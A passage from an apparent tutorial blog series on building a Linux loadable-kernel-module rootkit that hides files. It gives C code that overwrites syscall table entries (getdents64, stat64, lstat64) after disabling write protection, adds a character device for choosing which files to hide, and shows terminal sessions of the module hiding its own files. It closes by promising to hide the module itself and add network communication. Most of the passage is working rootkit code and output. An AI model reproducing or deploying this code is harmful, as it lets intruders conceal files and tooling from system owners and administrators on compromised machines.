app.c cdev.h functs.c functs.o hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.o
cdev.c cdev.o functs.h hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.h
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("r:app")'
root@dev:~/lkms/hidefiles# ls
app cdev.c cdev.o functs.h hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.h
app.c cdev.h functs.c functs.o hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.o
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:hidefiles.mod.c")'
root@dev:~/lkms/hidefiles# ls
app cdev.c cdev.o functs.h hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.o
app.c cdev.h functs.c functs.o hidefiles.o list.h main.c Makefile Module.symvers syscalls.h
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:hidefiles.mod.o")'
root@dev:~/lkms/hidefiles# ls
app cdev.c cdev.o functs.h hidefiles.o list.h main.c Makefile Module.symvers syscalls.h
app.c cdev.h functs.c functs.o list.c list.o main.o modules.order syscalls.c syscalls.o
root@dev:~/lkms/hidefiles# rmmod hidefiles
root@dev:~/lkms/hidefiles# ls
app cdev.h functs.h hidefiles.mod.c list.c main.c modules.order syscalls.h
app.c cdev.o functs.o hidefiles.mod.o list.h main.o Module.symvers syscalls.o
cdev.c functs.c hidefiles.ko hidefiles.o list.o Makefile syscalls.c thisisatestfile.txt
|
As you can see, we are now able to hide and unhide files on demand, there is, however, still a problem:
| root@dev:~/lkms/hidefiles# insmod ./hidefiles.ko
root@dev:~/lkms/hidefiles# ls
app cdev.c cdev.o functs.h hidefiles.ko hidefiles.mod.o list.c list.o main.o modules.order syscalls.c syscalls.o
app.c cdev.h functs.c functs.o hidefiles.mod.c hidefiles.o list.h main.c Makefile Module.symvers syscalls.h
root@dev:~/lkms/hidefiles# ls thisisatestfile.txt
thisisatestfile.txt
|
Hiding Files Better
Now let's hide the files even when they are queried directly.
To figure out how to do this we will use the same method as we did when figuring out how to hide files to being with, by looking at the system calls that are being made and hooking them.
We will start by determining the system calls responsible for this:
| root@dev:~/lkms/hidefiles# strace ls thisisatestfile.txt 2>&1 | grep 'thisisatestfile.txt'
execve("/bin/ls", ["ls", "thisisatestfile.txt"], [/* 18 vars */]) = 0
stat64("thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
lstat64("thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(1, "thisisatestfile.txt\n", 20thisisatestfile.txt
|
I've grepped for the filename because the system call must be querying the filename directly, we've found 2 (stat64
and lstat64
).
It looks like it returns 0 when its successful, let's see what happens when its unsuccessful:
| root@dev:~/lkms/hidefiles# strace ls thisisnotafile.txt 2>&1 | grep 'thisisnotafile.txt'
execve("/bin/ls", ["ls", "thisisnotafile.txt"], [/* 18 vars */]) = 0
stat64("thisisnotafile.txt", 0x8cdf3b8) = -1 ENOENT (No such file or directory)
lstat64("thisisnotafile.txt", 0x8cdf3b8) = -1 ENOENT (No such file or directory)
write(2, "cannot access thisisnotafile.txt", 32cannot access thisisnotafile.txt) = 32
|
So they return -ENOENT
if the file does not exist.
Another thing to note about this output is that the second argument to both stat64
and lstat64
is a pointer to a buffer which on a success is populated by the system call and obviously left blank in a failure.
The manpage for these functions confirms that:
| int stat(const char *path, struct stat *buf);
int lstat(const char *path, struct stat *buf);
|
We don't care too much about the stat
struct because if it matches any of our hidden files we will just return -ENOENT
and otherwise we will forward the request to the original system call.
If we wanted to actually manipulate the results that applications got back from these systems calls, we could use this structure to do so.
One more thing to check is what the request looks like when a full path is given:
| root@dev:~/lkms/hidefiles# strace ls ~/lkms/hidefiles/thisisatestfile.txt 2>&1 | grep 'thisisatestfile.txt'
stat64("/root/lkms/hidefiles/thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
lstat64("/root/lkms/hidefiles/thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(1, "/root/lkms/hidefiles/thisisatest"..., 41/root/lkms/hidefiles/thisisatestfile.txt
|
So the full path is passed to the system call, we will have to deal with this because obviously we only have a list of filenames so we will have to manually extract the actual filename to check against our list.
First let's write the function which extracts the filename from the full path and checks if it is in the list:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26 | int extractfilename(const char *f)
{
int i, n, c;
size_t l;
l = strlen(f);
for(i = l-1, n = 0; i>=0; i--, n++){
if(f[i] == '/'){
i = -1;
break;
}
}
if(i == -1)
c = n+1;
else
c = l;
char s[c];
memset(s, 0, c);
for(i = 0; n>0; i++, n--)
s[i] = f[l-n];
return lookupfilename(s);
}
|
We need to add the prototype in list.h
so that the other files can use it:
1
2
3
4
5
6
7
8
9
10
11
12
13 | #ifndef LIST
#define LIST
#include <linux/vmalloc.h>
// Functions
void addfile(const char *f);
void remfile(const char *f);
void emptylist(void);
int lookupfilename(const char *f);
int extractfilename(const char *f);
#endif
|
Now for the system calls, this should be added to syscalls.c
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 | asmlinkage int (*original_stat64) (const char *path, struct stat64 *buf);
asmlinkage int (*original_lstat64) (const char *path, struct stat64 *buf);
asmlinkage int stat64_hook(const char *path, struct stat64 *buf)
{
if ((extractfilename(path)) == 1)
return -ENOENT;
return original_stat64(path, buf);
}
asmlinkage int lstat64_hook(const char *path, struct stat64 *buf)
{
if ((extractfilename(path)) == 1)
return -ENOENT;
return original_lstat64(path, buf);
}
|
And we need to update syscalls.h
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 | #ifndef SYSCALLS
#define SYSCALLS
#include <linux/semaphore.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/stat.h>
// Functions
asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
extern asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
asmlinkage int stat64_hook(const char *path, struct stat64 *buf);
asmlinkage int lstat64_hook(const char *path, struct stat64 *buf);
extern asmlinkage int (*original_stat64) (const char *path, struct stat64 *buf);
extern asmlinkage int (*original_lstat64) (const char *path, struct stat64 *buf);
#endif
|
We need to include linux/stat.h because that includes the declaration of the stat64 structure.
And lastly we need to update main.c
to hook and unhook these 2 syscalls on load/unload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50 | #include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>
#include "syscalls.h"
#include "functs.h"
#include "list.h"
#include "cdev.h"
MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");
void **sys_call_table;
static int __init hidefiles_init(void)
{
sys_call_table = find_sys_call_table();
if(sys_call_table == NULL)
return 1;
original_getdents64 = sys_call_table[__NR_getdents64];
original_stat64 = sys_call_table[__NR_stat64];
original_lstat64 = sys_call_table[__NR_lstat64];
disable_write_protection();
sys_call_table[__NR_getdents64] = sys_getdents64_hook;
sys_call_table[__NR_stat64] = stat64_hook;
sys_call_table[__NR_lstat64] = lstat64_hook;
enable_write_protection();
misc_register(&dev_misc_device);
addfile("hidefiles");
addfile("hidefiles.ko");
return 0;
}
static void __exit hidefiles_exit(void)
{
disable_write_protection();
sys_call_table[__NR_getdents64] = original_getdents64;
sys_call_table[__NR_stat64] = original_stat64;
sys_call_table[__NR_lstat64] = original_lstat64;
enable_write_protection();
misc_deregister(&dev_misc_device);
emptylist();
return;
}
module_init(hidefiles_init);
module_exit(hidefiles_exit);
|
I've changed the files that it automatically hides when loaded to hidefiles (which is the name of the character device file) and hidefiles.ko (which is the name of the LKM) because this is more useful, in reality these would be named something less descriptive and the other source files wouldn't be there.
Finally to test it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105 | root@dev:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
CC [M] /root/lkms/hidefiles/main.o
/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:
/root/lkms/hidefiles/main.c:19:17: warning: assignment from incompatible pointer type [enabled by default]
CC [M] /root/lkms/hidefiles/syscalls.o
CC [M] /root/lkms/hidefiles/list.o
/root/lkms/hidefiles/list.c: In function ‘extractfilename’:
/root/lkms/hidefiles/list.c:110:2: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
CC [M] /root/lkms/hidefiles/cdev.o
/root/lkms/hidefiles/cdev.c: In function ‘dev_write’:
/root/lkms/hidefiles/cdev.c:51:1: warning: the frame size of 1032 bytes is larger than 1024 bytes [-Wframe-larger-than=]
LD [M] /root/lkms/hidefiles/hidefiles.o
Building modules, stage 2.
MODPOST 1 modules
CC /root/lkms/hidefiles/hidefiles.mod.o
LD [M] /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
root@dev:~/lkms/hidefiles# ls -l
total 852
-rwxr-xr-x 1 root root 5765 Nov 5 13:49 app
-rw-r--r-- 1 root root 594 Nov 5 13:09 app.c
-rw-r--r-- 1 root root 1462 Nov 5 20:10 cdev.c
-rw-r--r-- 1 root root 281 Nov 5 12:32 cdev.h
-rw-r--r-- 1 root root 58968 Nov 5 20:34 cdev.o
-rw-r--r-- 1 root root 1359 Oct 31 16:08 functs.c
-rw-r--r-- 1 root root 154 Oct 31 16:10 functs.h
-rw-r--r-- 1 root root 69332 Oct 31 16:12 functs.o
-rw-r--r-- 1 root root 278101 Nov 5 20:41 hidefiles.ko
-rw-r--r-- 1 root root 1203 Nov 5 20:34 hidefiles.mod.c
-rw-r--r-- 1 root root 43172 Nov 5 20:34 hidefiles.mod.o
-rw-r--r-- 1 root root 235955 Nov 5 20:41 hidefiles.o
-rw-r--r-- 1 root root 2015 Nov 5 20:12 list.c
-rw-r--r-- 1 root root 227 Nov 5 20:34 list.h
-rw-r--r-- 1 root root 21336 Nov 5 20:34 list.o
-rw-r--r-- 1 root root 1261 Nov 5 20:41 main.c
-rw-r--r-- 1 root root 72572 Nov 5 20:41 main.o
-rw-r--r-- 1 root root 78 Nov 5 11:34 Makefile
-rw-r--r-- 1 root root 41 Nov 5 20:41 modules.order
-rw-r--r-- 1 root root 0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root 1163 Nov 5 20:32 syscalls.c
-rw-r--r-- 1 root root 672 Nov 5 20:30 syscalls.h
-rw-r--r-- 1 root root 19560 Nov 5 20:34 syscalls.o
-rw-r--r-- 1 root root 0 Oct 31 14:18 thisisatestfile.txt
root@dev:~/lkms/hidefiles# insmod ./hidefiles.ko
root@dev:~/lkms/hidefiles# ls -l
total 580
-rwxr-xr-x 1 root root 5765 Nov 5 13:49 app
-rw-r--r-- 1 root root 594 Nov 5 13:09 app.c
-rw-r--r-- 1 root root 1462 Nov 5 20:10 cdev.c
-rw-r--r-- 1 root root 281 Nov 5 12:32 cdev.h
-rw-r--r-- 1 root root 58968 Nov 5 20:34 cdev.o
-rw-r--r-- 1 root root 1359 Oct 31 16:08 functs.c
-rw-r--r-- 1 root root 154 Oct 31 16:10 functs.h
-rw-r--r-- 1 root root 69332 Oct 31 16:12 functs.o
-rw-r--r-- 1 root root 1203 Nov 5 20:34 hidefiles.mod.c
-rw-r--r-- 1 root root 43172 Nov 5 20:34 hidefiles.mod.o
-rw-r--r-- 1 root root 235955 Nov 5 20:41 hidefiles.o
-rw-r--r-- 1 root root 2015 Nov 5 20:12 list.c
-rw-r--r-- 1 root root 227 Nov 5 20:34 list.h
-rw-r--r-- 1 root root 21336 Nov 5 20:34 list.o
-rw-r--r-- 1 root root 1261 Nov 5 20:41 main.c
-rw-r--r-- 1 root root 72572 Nov 5 20:41 main.o
-rw-r--r-- 1 root root 78 Nov 5 11:34 Makefile
-rw-r--r-- 1 root root 41 Nov 5 20:41 modules.order
-rw-r--r-- 1 root root 0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root 1163 Nov 5 20:32 syscalls.c
-rw-r--r-- 1 root root 672 Nov 5 20:30 syscalls.h
-rw-r--r-- 1 root root 19560 Nov 5 20:34 syscalls.o
-rw-r--r-- 1 root root 0 Oct 31 14:18 thisisatestfile.txt
root@dev:~/lkms/hidefiles# ls -l /dev/hidefiles
ls: cannot access /dev/hidefiles: No such file or directory
root@dev:~/lkms/hidefiles# ls -l hidefiles.ko
ls: cannot access hidefiles.ko: No such file or directory
root@dev:~/lkms/hidefiles# ls -l ~/lkms/hidefiles/hidefiles.ko
ls: cannot access /root/lkms/hidefiles/hidefiles.ko: No such file or directory
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:list.c")'
root@dev:~/lkms/hidefiles# ls -l list.c
ls: cannot access list.c: No such file or directory
root@dev:~/lkms/hidefiles# ls
app functs.c hidefiles.o Makefile syscalls.o
app.c functs.h list.h modules.order thisisatestfile.txt
cdev.c functs.o list.o Module.symvers
cdev.h hidefiles.mod.c main.c syscalls.c
cdev.o hidefiles.mod.o main.o syscalls.h
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:list.h")'
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:list.o")'
root@dev:~/lkms/hidefiles# ls
app cdev.o hidefiles.mod.c main.o syscalls.c
app.c functs.c hidefiles.mod.o Makefile syscalls.h
cdev.c functs.h hidefiles.o modules.order syscalls.o
cdev.h functs.o main.c Module.symvers thisisatestfile.txt
root@dev:~/lkms/hidefiles# for f in `ls`; do python -c "open('/dev/hidefiles', 'w').write(\"a:$f\")"; done
root@dev:~/lkms/hidefiles# ls
root@dev:~/lkms/hidefiles# ls -l
total 0
root@dev:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("r:list.o")'
root@dev:~/lkms/hidefiles# ls
list.o
root@dev:~/lkms/hidefiles# rmmod hidefiles
root@dev:~/lkms/hidefiles# ls
app cdev.o hidefiles.ko list.c main.o syscalls.c
app.c functs.c hidefiles.mod.c list.h Makefile syscalls.h
cdev.c functs.h hidefiles.mod.o list.o modules.order syscalls.o
cdev.h functs.o hidefiles.o main.c Module.symvers thisisatestfile.txt
|
Funnily enough this also hides directories with a name that is in the list but doesn't stop you from cd'ing there:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59 | root@dev:~/lkms/hidefiles# insmod ./hidefiles.ko
root@dev:~/lkms/hidefiles# cd ..
root@dev:~/lkms# ls -l
total 720
-rw-r--r-- 1 root root 380 May 12 19:47 hello.c
-rw-r--r-- 1 root root 74389 Jul 11 17:54 hello.ko
-rw-r--r-- 1 root root 659 Jul 11 17:54 hello.mod.c
-rw-r--r-- 1 root root 42436 Jul 11 17:54 hello.mod.o
-rw-r--r-- 1 root root 32960 Jul 11 17:53 hello.o
-rw-r--r-- 1 root root 2080 Jul 11 18:18 hidefile.c
-rw-r--r-- 1 root root 122949 Jul 11 18:18 hidefile.ko
-rw-r--r-- 1 root root 810 Jul 11 17:54 hidefile.mod.c
-rw-r--r-- 1 root root 42636 Jul 11 17:54 hidefile.mod.o
-rw-r--r-- 1 root root 81320 Jul 11 18:18 hidefile.o
-rw-r--r-- 1 root root 195 Jul 11 17:51 Makefile
-rw-r--r-- 1 root root 86 Jul 11 18:18 modules.order
-rw-r--r-- 1 root root 0 May 12 19:35 Module.symvers
-rwxr-xr-x 1 root root 6107 Jun 4 21:04 reverse_app
-rwxr-xr-x 1 root root 6135 Jun 9 23:21 reverse-app
-rwxr-xr-x 1 root root 6140 Jun 9 23:41 reverse-app2
-rw-r--r-- 1 root root 899 Jun 9 23:41 reverse-app2.c
-rw-r--r-- 1 root root 899 Jun 9 23:14 reverse-app.c
-rw-r--r-- 1 root root 2013 Jun 9 22:49 reverse.c
-rw-r--r-- 1 root root 119395 Jul 11 17:54 reverse.ko
-rw-r--r-- 1 root root 1019 Jul 11 17:54 reverse.mod.c
-rw-r--r-- 1 root root 42888 Jul 11 17:54 reverse.mod.o
-rw-r--r-- 1 root root 77532 Jul 11 17:53 reverse.o
-rwxr-xr-x 1 root root 6587 Jun 9 22:25 reverse-test-app
-rw-r--r-- 1 root root 987 Jun 9 22:16 reverse-test-app.c
-rw-r--r-- 1 root root 0 Jul 11 18:18 thisisatestfile.txt
root@dev:~/lkms# ls -l hidefiles
ls: cannot access hidefiles: No such file or directory
root@dev:~/lkms# ls -l hidefiles/
total 580
-rwxr-xr-x 1 root root 5765 Nov 5 13:49 app
-rw-r--r-- 1 root root 594 Nov 5 13:09 app.c
-rw-r--r-- 1 root root 1462 Nov 5 20:10 cdev.c
-rw-r--r-- 1 root root 281 Nov 5 12:32 cdev.h
-rw-r--r-- 1 root root 58968 Nov 5 20:34 cdev.o
-rw-r--r-- 1 root root 1359 Oct 31 16:08 functs.c
-rw-r--r-- 1 root root 154 Oct 31 16:10 functs.h
-rw-r--r-- 1 root root 69332 Oct 31 16:12 functs.o
-rw-r--r-- 1 root root 1203 Nov 5 20:34 hidefiles.mod.c
-rw-r--r-- 1 root root 43172 Nov 5 20:34 hidefiles.mod.o
-rw-r--r-- 1 root root 235955 Nov 5 20:41 hidefiles.o
-rw-r--r-- 1 root root 2015 Nov 5 20:12 list.c
-rw-r--r-- 1 root root 227 Nov 5 20:34 list.h
-rw-r--r-- 1 root root 21336 Nov 5 20:34 list.o
-rw-r--r-- 1 root root 1261 Nov 5 20:41 main.c
-rw-r--r-- 1 root root 72572 Nov 5 20:41 main.o
-rw-r--r-- 1 root root 78 Nov 5 11:34 Makefile
-rw-r--r-- 1 root root 41 Nov 5 20:41 modules.order
-rw-r--r-- 1 root root 0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root 1163 Nov 5 20:32 syscalls.c
-rw-r--r-- 1 root root 672 Nov 5 20:30 syscalls.h
-rw-r--r-- 1 root root 19560 Nov 5 20:34 syscalls.o
-rw-r--r-- 1 root root 0 Oct 31 14:18 thisisatestfile.txt
root@dev:~/lkms# cd hidefiles
root@dev:~/lkms/hidefiles#
|
Anyway, our improved rootkit seems to work nicely and as expected.
It is still currently easy to detect our rootkit though:
| root@dev:~/lkms/hidefiles# lsmod | grep hide
hidefiles 12763 0
|
You can get the full finished source code for the rootkit here.
Conclusion
We have used a number of techniques here to figure out how to hide files on the system and we have combined all of the knowledge we have gained to far to achieve this.
However, there are still a lot of ways we can improve this LKM, hiding the LKM's existence, and using the network to communicate are just a couple (we will take these up later).
When dealing with kernel code you have to be very careful as you can break the whole system, this is evident with the first character device that we created (just load the device and write 5000 bytes to it, the system will crash instantly).
Happy Kernel Hacking :-)
Further Reading
This article on Kernel Rootkit Tricks by Jürgen Quade
The Phrack article titled Linux on-the-fly kernel patching without LKM by sd and devik
Designing BSD Rootkits by Joseph Kong
And of course the kernel documentation